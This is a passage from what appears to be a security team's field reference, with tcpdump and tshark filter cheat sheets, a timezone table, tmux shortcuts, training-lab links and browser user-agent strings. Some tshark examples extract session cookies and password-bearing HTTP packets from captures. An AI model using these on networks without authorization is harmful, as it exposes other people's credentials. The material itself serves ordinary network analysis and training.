192.168.1.254) or (dst host 192.168.1.200)))'
Match any ICMP traffic involving the destination with physical/MAC
address 00:01:02:03:04:05
# tcpdump -i eth1 '((icmp) and ((ether dst host
00:01:02:03:04:05)))'
Match any traffic for the destination network 192.168 except
destination host 192.168.1.200
# tcpdump -i eth1 '((tcp) and ((dst net 192.168) and (not dst host
192.168.1.200)))'
ADVANCED FILTERING
Match the IP header has options set.
In binary
# tcpdump -i eth1 'ip[0] & 15 > 5'
In hexadecimal
# tcpdump -i eth1 'ip[0] & 0xf > 5'
Match any fragmentation occurring
# tcpdump -i eth1 'ip[6] = 64'
Matching the fragments and the last fragments
# tcpdump -i eth1 '((ip[6:2] > 0) and (not ip[6] = 64))'
Match traceroute usage on the network
# tcpdump -i eth1 'ip[8] < 5'
296
Matching packets longer than X bytes; Where X is 600 bytes
# tcpdump -i eth1 'ip[2:2] > 600'
Matching any TCP traffic with a source port > 1024
# tcpdump -i eth1 'tcp[0:2] > 1024'
Match packets with only the SYN flag set, the 14th byte would have
a binary value of 00000010 which equals 2 in decimal.
# tcpdump -i eth1 'tcp[13] = 2'
Matching SYN, ACK (00010010 or 18 in decimal)
# tcpdump -i eth1 'tcp[13] = 18'
Matching either SYN only or SYN-ACK datagrams
# tcpdump -i eth1 'tcp[13] & 2 = 2'
Matching PSH-ACK packets
# tcpdump -i eth1 'tcp[13] = 24'
Matching any combination containing FIN
# tcpdump -i eth1 'tcp[13] & 1 = 1'
Matching RST flag
# tcpdump -i eth1 'tcp[13] & 4 = 4'
Easier way to filter flags
# tcpdump -i eth1 'tcp[tcpflags] == tcp-ack'
Matching all packages with TCP-SYN or TCP-FIN set :
# tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0
Match any packet containing the "MAIL" command from SMTP exchanges.
# tcpdump -i eth1 '((port 25) and (tcp[20:4] = 0x4d41494c))'
Match any packets containing GET requests
# tcpdump -i eth1 'tcp[32:4] = 0x47455420'
SSH connection (on any port) :
We will be looking for the reply given by the SSH server.
OpenSSH usually replies with something like "SSH-2.0-
OpenSSH_3.6.1p2".
The first 4 bytes (SSH-) have an hex value of 0x5353482D.
# tcpdump -i eth1 'tcp[(tcp[12]>>2):4] = 0x5353482D'
If we want to find any connection made to older version of OpenSSH
(version 1, which are insecure and subject to MITM attacks) :
297
The reply from the server would be something like "SSH-1.99.."
# tcpdump -i eth1 '(tcp[(tcp[12]>>2):4] = 0x5353482D) and
(tcp[((tcp[12]>>2)+4):2] = 0x312E)'
Match ICMP messages type 4, are sent in case of congestion on the
network.
# tcpdump -i eth1 'icmp[0] = 4'
REFERENCE:
https://github.com/SergK/cheatsheat-
tcpdump/blob/master/tcpdump_advanced_filters.txt
https://github.com/dennyzhang/cheatsheet.dennyzhang.com/tree/master/cheatsh
eet-tcpdump-A4
http://www.tcpdump.org/tcpdump_man.html
http://easycalculation.com/hex-converter.php
http://www.wireshark.org/tools/string-cf.html
http://www.wireshark.org/lists/wireshark-users/201003/msg00024.html
T
T
THREAT INTELLIGENCE
BLUE TEAM
MISC
N/A
Curated List of Threat Intelligence Sources
https://github.com/hslatman/awesome-threat-intelligence
T
T
TIMEZONES
ALL
INFORMATIONAL
N/A
COUNTRY/REGION
TIME ZONE
OFFSET
Afghanistan
Afghanistan ST
UTC+04:30
Alaska
Alaskan ST
UTC-09:00
Albania: Tirana
Central European ST
UTC+01:00
Algeria
Central European ST
UTC+01:00
Almaty, Novosibirsk
N. Central Asia ST
UTC+06:00
American Samoa
Samoa ST
UTC-11:00
Andorra
Romance ST
UTC+01:00
Angola
W. Central Africa ST
UTC+01:00
Anguilla
SA Western ST
UTC-04:00
Antarctica
GMT ST
UTC
Antigua and Barbuda
SA Western ST
UTC-04:00
Argentina: Buenos Aires
Argentina ST
UTC-03:00
Armenia
Caucasus ST
UTC+04:00
Aruba, Caracas
SA Western ST
UTC-04:00
Atlantic Time (Canada)
Atlantic ST
UTC-04:00
Australia: Darwin
AUS Central ST
UTC+09:30
298
Australia: Adelaide
Cen. Australia ST
UTC+09:30
Australia: Brisbane, Coral
Sea Islands
E. Australia ST
UTC+10:00
Australia: Canberra,
Melbourne, Sydney
AUS Eastern ST
UTC+10:00
Australia: Perth, Ashmore &
Cartier Islands
W. Australia ST
UTC+08:00
Austria: Vienna
W. Europe ST
UTC+01:00
Azerbaijan
Azerbaijan ST
UTC+04:00
Azores
Azores ST
UTC-01:00
Bahamas, The
Eastern ST
UTC-05:00
Bahrain, Kuwait, Riyadh,
Qatar, Saudi Arabia
Arab ST
UTC+03:00
Baku, Tbilisi, Yerevan
Caucasus ST
UTC+04:00
Bangladesh
Central Asia ST
UTC+06:00
Barbados
SA Western ST
UTC-04:00
Belarus
Further-Eastern ET
UTC+03:00
Belgium Brussels
Romance ST
UTC+01:00
Belize
Central America ST
UTC-06:00
Benin
W. Central Africa ST
UTC+01:00
Bermuda
SA Western ST
UTC-04:00
Bhutan
Central Asia ST
UTC+06:00
Bolivia: La Paz
SA Western ST
UTC-04:00
Bosnia and Herzegovina:
Sarajevo
Central European ST
UTC+01:00
Botswana
South Africa ST
UTC+02:00
Bouvet Island
W. Central Africa ST
UTC+01:00
Brazil: Brasilia
E. South America ST
UTC-03:00
British Indian Ocean
Territory
Central Asia ST
UTC+06:00
Brunei
Singapore ST
UTC+08:00
Bulgaria: Sofia
FLE ST
UTC+02:00
Burkina Faso
Greenwich ST
UTC
Burundi
South Africa ST
UTC+02:00
Cabo Verde(Cape Verde)
islands
Cabo Verde ST
UTC-01:00
Cambodia
SE Asia ST
UTC+07:00
Cameroon
W. Central Africa ST
UTC+01:00
Cayman Islands
SA Pacific ST
UTC-05:00
Central African Republic
W. Central Africa ST
UTC+01:00
Central Time (US and Canada)
Central ST
UTC-06:00
Chad
W. Central Africa ST
UTC+01:00
Channel Islands
GMT ST
UTC
Chile: Santiago
Pacific SA ST
UTC-04:00
China: Beijing , Macao SAR,
Hong Kong SAR
China ST
UTC+08:00
Christmas Island
SE Asia ST
UTC+07:00
Cocos (Keeling) Islands
SE Asia ST
UTC+07:00
Colombia: Bogota, Ecuador:
Quito
SA Pacific ST
UTC-05:00
299
Comoros
E. Africa ST
UTC+03:00
Congo
W. Central Africa ST
UTC+01:00
Congo (DRC)
W. Central Africa ST
UTC+01:00
Cook Islands
Hawaiian ST
UTC-10:00
Costa Rica
Central America ST
UTC-06:00
Croatia: Zagreb
Central European ST
UTC+01:00
Cuba
SA Pacific ST
UTC-05:00
Cyprus
GTB ST
UTC+02:00
Czech Republic: Prague
Central Europe ST
UTC+01:00
Côte d'Ivoire
Greenwich ST
UTC
Denmark: Copenhagen
Romance ST
UTC+01:00
Diego Garcia
Central Asia ST
UTC+06:00
Djibouti
E. Africa ST
UTC+03:00
Dominica
SA Western ST
UTC-04:00
Dominican Republic
SA Western ST
UTC-04:00
Eastern Time (US and Canada)
Eastern ST
UTC-05:00
Ecuador
SA Pacific ST
UTC-05:00
Egypt Cairo
Egypt ST
UTC+02:00
Ekaterinburg
Ekaterinburg ST
UTC+05:00
El Salvador
Central America ST
UTC-06:00
Equatorial Guinea
W. Central Africa ST
UTC+01:00
Eritrea
E. Africa ST
UTC+03:00
Estonia: Tallinn
FLE ST
UTC+02:00
Eswatini (formerly Swaziland)
South Africa ST
UTC+02:00
Ethiopia
E. Africa ST
UTC+03:00
Falkland Islands (Islas
Malvinas)
Atlantic ST
UTC-03:00
Faroe Islands
GMT ST
UTC
Fiji Islands
Fiji ST
UTC+12:00
Finland: Helsinki
FLE ST
UTC+02:00
France: Paris
Romance ST
UTC+01:00
French Guiana
SA Eastern ST
UTC-03:00
French Polynesia
West Pacific ST
UTC+10:00
French Southern and Antarctic
Lands
Arabian ST
UTC+04:00
Gabon
W. Central Africa ST
UTC+01:00
Gambia, The
Greenwich ST
UTC
Georgia: Tbilisi
Georgian ST
UTC+04:00
Germany: Berlin
W. Europe ST
UTC+01:00
Ghana
Greenwich ST
UTC
Gibraltar
W. Europe ST
UTC+01:00
Greece Athens
GTB ST
UTC+02:00
Greenland
Greenland ST
UTC-03:00
Grenada
SA Western ST
UTC-04:00
Guadeloupe
SA Western ST
UTC-04:00
Guam
West Pacific ST
UTC+10:00
Guantanamo Bay
Eastern ST
UTC-05:00
Guatemala
Central America ST
UTC-06:00
Guernsey
GMT ST
UTC
Guinea
Greenwich ST
UTC
300
Guinea-Bissau
Greenwich ST
UTC
Guyana: Georgetown
SA Western ST
UTC-04:00
Haiti
Eastern ST
UTC-05:00
Heard Island and McDonald
Islands
Arabian ST
UTC+04:00
Honduras
Central America ST
UTC-06:00
Howland Island
Samoa ST
UTC-11:00
Hungary: Budapest
Central Europe ST
UTC+01:00
Iceland
Greenwich ST
UTC
India
India ST
UTC+05:30
Indonesia: Jakarta
SE Asia ST
UTC+07:00
International Date Line West,
Baker Island
Dateline ST
UTC-12:00
Iran
Iran ST
UTC+03:30
Iraq
Arabic ST
UTC+03:00
Ireland: Dublin
GMT ST
UTC
Isle of Man
GMT ST
UTC
Israel
Israel ST
UTC+02:00
Italy: Rome
W. Europe ST
UTC+01:00
Jamaica
SA Pacific ST
UTC-05:00
Jan Mayen
W. Europe ST
UTC+01:00
Japan: Osaka, Sapporo, Tokyo
Tokyo ST
UTC+09:00
Jarvis Island
Samoa ST
UTC-11:00
Jersey
GMT ST
UTC
Johnston Atoll
Samoa ST
UTC-11:00
Jordan
Jordan ST
UTC+02:00
Kazakhstan
Central Asia ST
UTC+06:00
Kenya
E. Africa ST
UTC+03:00
Kingman Reef
Samoa ST
UTC-11:00
Kiribati
Tonga ST
UTC+13:00
Korea
Korea ST
UTC+09:00
Krasnoyarsk
North Asia ST
UTC+07:00
Kyrgyzstan
Central Asia ST
UTC+06:00
Laos
SE Asia ST
UTC+07:00
Latvia: Riga, Vilnius
FLE ST
UTC+02:00
Lebanon
Middle East ST
UTC+02:00
Lesotho
South Africa ST
UTC+02:00
Liberia Monrovia
Greenwich ST
UTC
Libya: Tripoli
Libya ST
UTC+01:00
Liechtenstein
W. Europe ST
UTC+01:00
Lithuania
FLE ST
UTC+02:00
Luxembourg
W. Europe ST
UTC+01:00
Macedonia FYROM
W. Europe ST
UTC+01:00
Madagascar
E. Africa ST
UTC+03:00
Malawi
South Africa ST
UTC+02:00
Malaysia: Kuala Lumpur
Singapore ST
UTC+08:00
Maldives
West Asia ST
UTC+05:00
Mali
Greenwich ST
UTC
Malta
W. Europe ST
UTC+01:00
Marshall Islands
Fiji ST
UTC+12:00
301
Martinique
SA Western ST
UTC-04:00
Mauritania
Greenwich ST
UTC
Mauritius
Mauritius ST
UTC+04:00
Mayotte, Nairobi
E. Africa ST
UTC+03:00
Mexico Tijuana
Pacific ST (Mexico)
UTC-08:00
Mexico: Chihuahua, Mazatlan,
La Paz
Mountain ST (Mexico)
UTC-07:00
Mexico: Guadalajara, Mexico
City, Monterrey
Central ST (Mexico)
UTC-06:00
Micronesia
Fiji ST
UTC+12:00
Midway Islands
Samoa ST
UTC-11:00
Moldova
FLE ST
UTC+02:00
Monaco
W. Europe ST
UTC+01:00
Mongolia:Ulaanbaatar,
Russia:Irkutsk
North Asia East ST
UTC+08:00
Montserrat
SA Western ST
UTC-04:00
Morocco Casablanca
Morocco ST
UTC
Mountain Time (US and Canada)
Mountain ST
UTC-07:00
Mozambique
South Africa ST
UTC+02:00
Myanmar: Yangon Rangoon
Myanmar ST
UTC+06:30
Namibia
Namibia ST
UTC+01:00
Nauru
Fiji ST
UTC+12:00
Nepal: Kathmandu
Nepal ST
UTC+05:45
Netherlands Antilles
SA Western ST
UTC-04:00
Netherlands: Amsterdam
W. Europe ST
UTC+01:00
New Caledonia
Central Pacific ST
UTC+11:00
New Zealand
New Zealand ST
UTC+12:00
Newfoundland and Labrador
Newfoundland/Labrador
ST
UTC-03:30
Nicaragua
Central America ST
UTC-06:00
Niger
W. Central Africa ST
UTC+01:00
Nigeria
W. Central Africa ST
UTC+01:00
Niue
Samoa ST
UTC-11:00
Norfolk Island
Central Pacific ST
UTC+11:00
North Korea
Tokyo ST
UTC+08:30
Northern Mariana Islands
West Pacific ST
UTC+10:00
Norway
W. Europe ST
UTC+01:00
Oman
Arabian ST
UTC+04:00
Pacific Time (US and Canada)
Pacific ST
UTC-08:00
Pakistan
Pakistan ST
UTC+05:00
Pakistan: Islamabad, Karachi
West Asia ST
UTC+05:00
Palau
Tokyo ST
UTC+09:00
Palestinian Authority
GTB ST
UTC+02:00
Palmyra Atoll
Samoa ST
UTC-11:00
Panama
SA Pacific ST
UTC-05:00
Papua New Guinea: Port
Moresby
West Pacific ST
UTC+10:00
Paraguay
SA Pacific ST
UTC-05:00
Peru: Lima
SA Pacific ST
UTC-05:00
302
Philippines, China:
Chongqing, China: Ürümqi
China ST
UTC+08:00
Pitcairn Islands
Pacific ST
UTC-08:00
Poland: Warsaw, Skopje
Central European ST
UTC+01:00
Portugal: Lisbon
GMT ST
UTC
Puerto Rico
SA Western ST
UTC-04:00
Romania
GTB ST
UTC+02:00
Romania: Bucharest
E. Europe ST
UTC+02:00
Rota Island
West Pacific ST
UTC+10:00
Russia: Moscow, St.
Petersburg, Volgograd
Russian ST
UTC+03:00
Rwanda
South Africa ST
UTC+02:00
Réunion
Arabian ST
UTC+04:00
Saint Helena, Ascension,
Tristan da Cunha
GMT ST
UTC
Saipan
West Pacific ST
UTC+10:00
Samoa
Samoa ST
UTC-11:00
San Marino
W. Europe ST
UTC+01:00
Saskatchewan
Canada Central ST
UTC-06:00
Senegal
Greenwich ST
UTC
Serbia: Belgrade
Central Europe ST
UTC+01:00
Seychelles
Arabian ST
UTC+04:00
Sierra Leone
Greenwich ST
UTC
Singapore
Singapore ST
UTC+08:00
Slovakia: Bratislava
Central Europe ST
UTC+01:00
Slovenia: Ljubljana
Central Europe ST
UTC+01:00
Solomon Islands
Central Pacific ST
UTC+11:00
Somalia
E. Africa ST
UTC+03:00
South Africa: Pretoria
South Africa ST
UTC+02:00
South Georgia & South
Sandwich Islands
Mid-Atlantic ST
UTC-02:00
Spain Madrid
Romance ST
UTC+01:00
Sri Lanka: Sri
Jayawardenepura
Sri Lanka ST
UTC+05:30
St. Helena
Greenwich ST
UTC
St. Kitts and Nevis
SA Western ST
UTC-04:00
St. Lucia
SA Western ST
UTC-04:00
St. Pierre and Miquelon
SA Eastern ST
UTC-03:00
St. Vincent and the
Grenadines
SA Western ST
UTC-04:00
Sudan
E. Africa ST
UTC+03:00
Suriname
SA Eastern ST
UTC-03:00
Svalbard
W. Europe ST
UTC+01:00
Sweden: Stockholm
W. Europe ST
UTC+01:00
Switzerland: Bern
W. Europe ST
UTC+01:00
Syria
South Africa ST
UTC+02:00
São Tomé and Príncipe
Greenwich ST
UTC
Taiwan: Taipei
Taipei ST
UTC+08:00
Tanzania
E. Africa ST
UTC+03:00
Tasmania: Hobart
Tasmania ST
UTC+10:00
303
Thailand: Bangkok
SE Asia ST
UTC+07:00
Timor-Leste
Tokyo ST
UTC+09:00
Tinian Island
West Pacific ST
UTC+10:00
Togo
Greenwich ST
UTC
Tokelau
Hawaiian ST
UTC-10:00
Tonga: Nuku'alofa
Tonga ST
UTC+13:00
Trinidad and Tobago
SA Western ST
UTC-04:00
Tristan da Cunha
Greenwich ST
UTC
Tunisia
W. Europe ST
UTC+01:00
Turkey: Istanbul
Turkey ST
UTC+02:00
Turkmenistan, Tajikistan
West Asia ST
UTC+05:00
Turks and Caicos Islands
SA Pacific ST
UTC-05:00
Tuvalu
Fiji ST
UTC+12:00
US Arizona, Clipperton Island
US Mountain ST
UTC-07:00
US Indiana (East)
U.S. Eastern ST
UTC-05:00
US and Canada
Pacific ST
UTC-08:00
US and Canada
Mountain ST
UTC-07:00
US and Canada
Central ST
UTC-06:00
US and Canada
Eastern ST
UTC-05:00
Uganda
E. Africa ST
UTC+03:00
Ukraine: Kiev
FLE ST
UTC+02:00
United Arab Emirates
Arabian ST
UTC+04:00
United Kingdom: London,
Edinburgh
GMT ST
UTC
Uruguay
SA Eastern ST
UTC-03:00
Uzbekistan: Tashkent
West Asia ST
UTC+05:00
Vanuatu: Port Vila, Russia:
Magadan
Central Pacific ST
UTC+11:00
Vatican City
W. Europe ST
UTC+01:00
Venezuela
Venezuela ST
UTC-04:30
Vietnam: Hanoi
SE Asia ST
UTC+07:00
Virgin Islands
SA Western ST
UTC-04:00
Virgin Islands, British
SA Western ST
UTC-04:00
Vladivostok
Vladivostok ST
UTC+10:00
Wake Island
Fiji ST
UTC+12:00
Wallis and Futuna
Fiji ST
UTC+12:00
Yakutsk
Yakutsk ST
UTC+09:00
Yemen
E. Africa ST
UTC+03:00
Zambia
South Africa ST
UTC+02:00
Zimbabwe: Harare
South Africa ST
UTC+02:00
T
T
TMUX
ALL
ADMINISTRATION
LINUX/MacOS
tmux is a terminal multiplexer that lets you switch easily between
several programs in one terminal, detach them, and reattach them to
a different terminal.
304
SESSIONS
tmux
Start a tmux session
tmux new -s example
Start a new named session
tmux kill-ses -t example
Kill a named session
tmux kill-ses -a
Kill all sessions except current
tmux kill-ses -a -t
example
Kill all except the named session
tmux ls
List all sessions
tmux a
Attach to last session
tmux a -t example
Attach to named session
tmux new -s example -n
window1
Start new session with name and
window name
NAVIGATION
Ctrl + b $
Rename a session
Ctrl + b d
Detach from session
Ctrl + b s
List all sessions
Ctrl + b (
Move to previous session
Ctrl + b )
Move to next session
Ctrl + b c
Create window
Ctrl + b ,
Rename current window
Ctrl + b &
Close current window
Ctrl + b p
Previous window
Ctrl + b n
Next window
Ctrl + b q
Show pane numbers
Ctrl + b 0
Switch/select window by number [0-9]
Ctrl + b ;
Toggle last active pane
Ctrl + b %
Split pane vertically
Ctrl + b "
Split pane horizontally
Ctrl + b {
Move the current pane left
Ctrl + b }
Move the current pane right
Ctrl + b Spacebar
Toggle between pane layouts
Ctrl + b o
Switch to next pane
Ctrl + b z
Toggle pane zoom
Ctrl + b x
Close current pane
ADVANCED
tmux info
Show every session, window, pane,
etc...
Ctrl + b ?
Show shortcuts
Ctrl + b : setw
synchronize-panes
Synchronize & send command to all
panes
Ctrl + b : swap-window -s
2 -t 1
Reorder window, swap window number
2(src) and 1(dst)
show-buffer
Ctrl + b : set -g OPTION
Set OPTION for all sessions
Ctrl + b : setw -g OPTION
Set OPTION for all windows
305
T
T
TRAINING_Blue Team
BLUE TEAM
MISC
ALL
Detection Lab
This lab has been designed with defenders in mind. Its primary
purpose is to allow the user to quickly build a Windows domain that
comes pre-loaded with security tooling and some best practices when
it comes to system logging configurations.
https://github.com/clong/DetectionLab
Modern Windows Attacks and Defense Lab
This is the lab configuration for the Modern Windows Attacks and
Defense class that Sean Metcalf (@pyrotek3) and I teach.
https://github.com/jaredhaight/WindowsAttackAndDefenseLab
Invoke-UserSimulator
Simulates common user behavior on local and remote Windows hosts.
https://github.com/ubeeri/Invoke-UserSimulator
Invoke-ADLabDeployer
Automated deployment of Windows and Active Directory test lab
networks. Useful for red and blue teams.
https://github.com/outflanknl/Invoke-ADLabDeployer
Sheepl
Creating realistic user behavior for supporting tradecraft
development within lab environments.
https://github.com/SpiderLabs/sheepl
MemLabs - Memory Forensics CTF
MemLabs is an educational, introductory set of CTF-styled
challenges which is aimed to encourage students, security
researchers and also CTF players to get started with the field of
Memory Forensics.
https://github.com/stuxnet999/MemLabs
Security Certification Progression Chart
Reddit -> u/SinecureLife
https://www.reddit.com/r/cybersecurity/comments/e23ffz/security_cer
tification_progression_chart_2020/
https://i.lensdump.com/i/iYmQum.png
T
T
TRAINING_OSINT
OSINT
MISC
ALL
306
Bellingcat Workshops
https://www.bellingcat.com/tag/training/
T
T
TRAINING_Red Team
RED TEAM
MISC
ALL
IPPSEC - Hackthebox, CTF, Training Walkthroughs
https://Ippsec.rocks
HACKTHEBOX.eu
Hack The Box is an online platform allowing you to test your
penetration testing skills and exchange ideas and methodologies
with thousands of people in the security field.
https://hackthebox.eu
awesome-cyber-skills
A curated list of hacking environments where you can train your
cyber skills legally and safely
https://github.com/joe-shenouda/awesome-cyber-skills
VULNHUB
To provide materials that allows anyone to gain practical 'hands-
on' experience in digital security, computer software & network
administration.
https://www.vulnhub.com/
CTF Awesome Lists
https://github.com/apsdehal/awesome-ctf
https://github.com/SandySekharan/CTF-tool
Bug Bounties Lists
https://github.com/djadmin/awesome-bug-bounty
https://github.com/ngalongc/bug-bounty-reference
Security Certification Progression Chart
Reddit -> u/SinecureLife
https://www.reddit.com/r/cybersecurity/comments/e23ffz/security_cer
tification_progression_chart_2020/
https://i.lensdump.com/i/iYmQum.png
T
T
TSHARK
RED/BLUE
NETWORK TRAFFIC
WINDOWS/LINUX/MacOS
307
COMMAND
DESCRIPTION
tshark -D
Available Interfaces
tshark -h
Help
tshark -i # (# is interface number)
Capture on an
Interface
tshark -i 'name' ('name' is interface
name)
tshark -i # -w {path and file name}
Write capture to a
file
tshark -i # -f "filter text using BPF
syntax"
Capture using a filter
tshark -R “ip.addr == 192.168.0.1″ -r
/tmp/capture.pcapng
Generic Capture for an
IP Address
eth.addr == 00:08:15:00:08:15
Ethernet address
00:08:15:00:08:15
eth.type == 0×0806
Ethernet type
0×0806 (ARP)
eth.addr == ff:ff:ff:ff:ff:ff
Ethernet broadcast
not arp
No ARP
ip
IPv4 only
ip6
IPv6 only
!(ip.addr == 192.168.0.1)
IPv4 address is not
192.168.0.1
ipx
IPX only
tcp
TCP only
udp
UDP only
-Y <display filter>
Include display
filters when examining
a capture file
!(tcp.port == 53)
UDP port isn't 53 (not
DNS), don't use != for
this!
tcp.port == 80 || udp.port == 80
TCP or UDP port is 80
(HTTP)
http
HTTP Only
not arp and not (udp.port == 53)
No ARP and no DNS
not (tcp.port == 80) and not (tcp.port
== 25) and ip.addr == 192.168.0.1
Non-HTTP and non-SMTP
to/from 192.168.0.1
tshark -o
“tcp.desegment_tcp_streams:TRUE” -i eth0
-R “http.response” -T fields -e
http.response.code
Display http response
codes
tshark -i eth0 -nn -e ip.src -e eth.src
-Tfields -E separator=, -R ip
Display Source IP and
MAC Address. (coma
sep)
tshark -i eth0 -nn -e ip.dst -e eth.dst
-Tfields -E separator=, -R ip
Display Target IP and
Mac Address (coma sep)
tshark -i eth0 -nn -e ip.src -e ip.dst -
Tfields -E separator=, -R ip
Source and Target IPv4
tshark -i eth0 -nn -e ip6.dst -e ip6.dst
-Tfields -E separator=, -R ip6
Source and Target IPv6
308
tshark -i eth0 -nn -e ip.src -e
dns.qry.name -E separator=”;” -T fields
port 53
Source IP and DNS
Query
tshark -o column.format:’”Source”,
“%s”,”Destination”, “%d”‘ -Ttext
Display only the
Source and the
Destination IP
tshark -r capture.pcapng -qz
io,stat,1,0,sum(tcp.analysis.retransmiss
ion)”ip.addr==10.10.10.10″ > stat.txt
Various Statistics
example from a capture
tshark -r capture.pcapng -qz
io,stat,120,”ip.addr==194.134.109.48 &&
tcp”,”COUNT(tcp.analysis.retransmission)
ip.addr==194.134.109.48 &&
tcp.analysis.retransmission”
Various Statistics
example from a capture
tshark -r samples.cap -q -z
io,stat,30,”COUNT(tcp.analysis.retransmi
ssion) tcp.analysis.retransmission”
Various Statistics
example from a capture
tshark -r capture.pcapng -q -z
ip_hosts,tree
Various Statistics
example from a capture
tshark -r capture.pcapng -q -z conv,tcp
Various Statistics
example from a capture
tshark -r capture.pcapng -q -z
ptype,tree
Various Statistics
example from a capture
tshark -r capture.pcapng -R http.request
-T fields -e http.host -e
http.request.uri |sed -e ‘s/?.*$//’ |
sed -e ‘s#^(.*)t(.*)$#http://12#’ | sort
| uniq -c | sort -rn | head
Display Top 10 URLs
tshark -nn -r capturefile.dmp -T fields
-E separator=’;’ -e ip.src -e
tcp.srcport -e ip.dst -e tcp.dstport
‘(tcp.flags.syn == 1 and tcp.flags.ack
== 0)’
Creating a “;”
separated file with
“source IP” “destIP”
and “dest port” with
SYN initiated
connections
tshark -Y ‘http’ -r HTTP_traffic.pcap
HTTP traffic from a
PCAP file
tshark -r HTTP_traffic.pcap -Y
"ip.src==192.168.252.128 &&
ip.dst==52.32.74.91"
Show the IP packets
sent from IP address
192.168.252.128 to IP
address 52.32.74.91?
tshark -r HTTP_traffic.pcap -Y
"http.request.method==GET"
Only print packets
containing GET
requests
tshark -r HTTP_traffic.pcap -Y
"http.request.method==GET" -Tfields -e
frame.time -e ip.src -e
http.request.full_uri
Print only source IP
and URL for all GET
request packets
tshark -r HTTP_traffic.pcap -Y "http
contains password”
How many HTTP packets
contain the "password"
string
309
tshark -r HTTP_traffic.pcap -Y
"http.request.method==GET &&
http.host==www.nytimes.com" -Tfields -e
ip.dst
Which IP address was
sent GET requests for
New York Times
(www.nytimes.com)
tshark -r HTTP_traffic.pcap -Y "ip
contains amazon.in &&
ip.src==192.168.252.128" -Tfields -e
ip.src -e http.cookie
What is the session ID
being used by
192.168.252.128 for
Amazon India store
(amazon.in)
tshark -r HTTP_traffic.pcap -Y
"ip.src==192.168.252.128 && http" -
Tfields -e http.user_agent
What type of OS the
machine on IP address
192.168.252.128 is
using (i.e.
Windows/Linux/MacOS/So
laris/Unix/BSD)
tshark -Y ‘ssl’ -r HTTPS_traffic.pcap
Only show SSL traffic
tshark -r HTTPS_traffic.pcap -Y
"ssl.handshake" -Tfields -e ip.src -e
ip.dst
Only print the source
IP and destination IP
for all SSL handshake
packets
tshark -r HTTPS_traffic.pcap -Y
"ssl.handshake.certificate" -Tfields -e
x509sat.printableString
List issuer name for
all SSL certificates
exchanged
tshark -r HTTPS_traffic.pcap -Y "ssl &&
ssl.handshake.type==1" -Tfields -e
ip.dst
Print the IP addresses
of all servers
accessed over SSL
tshark -r HTTPS_traffic.pcap -Y "ip
contains askexample"
IP addresses
associated with Ask
Example servers
(example.com)
tshark -r HTTPS_traffic.pcap -Y
"ip.dst==151.101.1.69 ||
ip.dst==151.101.193.69 ||
ip.dst==151.101.129.69 ||
ip.dst==151.101.65.69" -Tfields -e
ip.src
IP address of the user
who interacted with
with Ask Ubuntu
servers
(askubuntu.com)
tshark -r HTTPS_traffic.pcap -Y "dns &&
dns.flags.response==0" -Tfields -e
ip.dst
DNS servers were used
by the clients for
domain name
resolutions
tshark -r HTTPS_traffic.pcap -Y "ip
contains avast" -Tfields -e ip.src
What are the IP
addresses of the
machines running Avast
REFERENCE:
https://www.cellstream.com/reference-reading/tipsandtricks/272-t-shark-
usage-examples
https://github.com/veerendra2/my-utils/wiki/tshark-CheatSheet
310
U
U
U
USER AGENTS
ALL
INFORMATIONAL
ALL
Top 50 User Agents sorted by OS & Software version.
OS
SOFTWARE
USER AGENT
Android
Chrome 68
Mozilla/5.0 (Linux; Android 6.0.1;
RedMi Note 5 Build/RB3N5C; wv)
AppleWebKit/537.36 (KHTML, like
Gecko) Version/4.0
Chrome/68.0.3440.91 Mobile
Safari/537.36
iOS
Safari 11
Mozilla/5.0 (iPhone; CPU iPhone OS
11_4_1 like Mac OS X)
AppleWebKit/605.1.15 (KHTML, like
Gecko) Version/11.0 Mobile/15E148
Safari/604.1
iOS
Safari 12
Mozilla/5.0 (iPhone; CPU iPhone OS
12_1 like Mac OS X)
AppleWebKit/605.1.15 (KHTML, like
Gecko) Version/12.0 Mobile/15E148
Safari/604.1
iOS
Safari 12.1
Mozilla/5.0 (iPhone; CPU iPhone OS
12_4_1 like Mac OS X)
AppleWebKit/605.1.15 (KHTML, like
Gecko) Version/12.1.2 Mobile/15E148
Safari/604.1
iOS
Safari 12.1
Mozilla/5.0 (iPhone; CPU iPhone OS
12_3_1 like Mac OS X)
AppleWebKit/605.1.15 (KHTML, like
311
Gecko) Version/12.1.1 Mobile/15E148
Safari/604.1
iOS
Safari 12.1
Mozilla/5.0 (iPad; CPU OS 12_2 like
Mac OS X) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.1
Mobile/15E148 Safari/604.1
macOS
Safari 12.1
Mozilla/5.0 (Macintosh; Intel Mac
OS X 10_14_5) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.1.1
Safari/605.1.15
macOS
Webkit based
browser
Mozilla/5.0 (Macintosh; Intel Mac
OS X 10_12_6) AppleWebKit/603.3.8
(KHTML, like Gecko)
Windows
Chrome 57
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Windows
Chrome 58
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.36
Windows
Chrome 60
Mozilla/5.0 (Windows NT 6.3; Win64;
x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/60.0.3112.113
Safari/537.36
Windows
Chrome 61
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/61.0.3163.100 Safari/537.36
Windows
Chrome 63
Mozilla/5.0 (Windows NT 6.1; Win64;
x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/63.0.3239.132
Safari/537.36
Windows
Chrome 64
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/64.0.3282.186 Safari/537.36
Windows
Chrome 65
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/65.0.3325.181 Safari/537.36
Windows
Chrome 67
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/67.0.3396.99 Safari/537.36
Windows
Chrome 67
Mozilla/5.0 (Windows NT 6.1; Win64;
x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/67.0.3396.99
Safari/537.36
312
Windows
Chrome 68
Mozilla/5.0 (Windows NT 10.0;
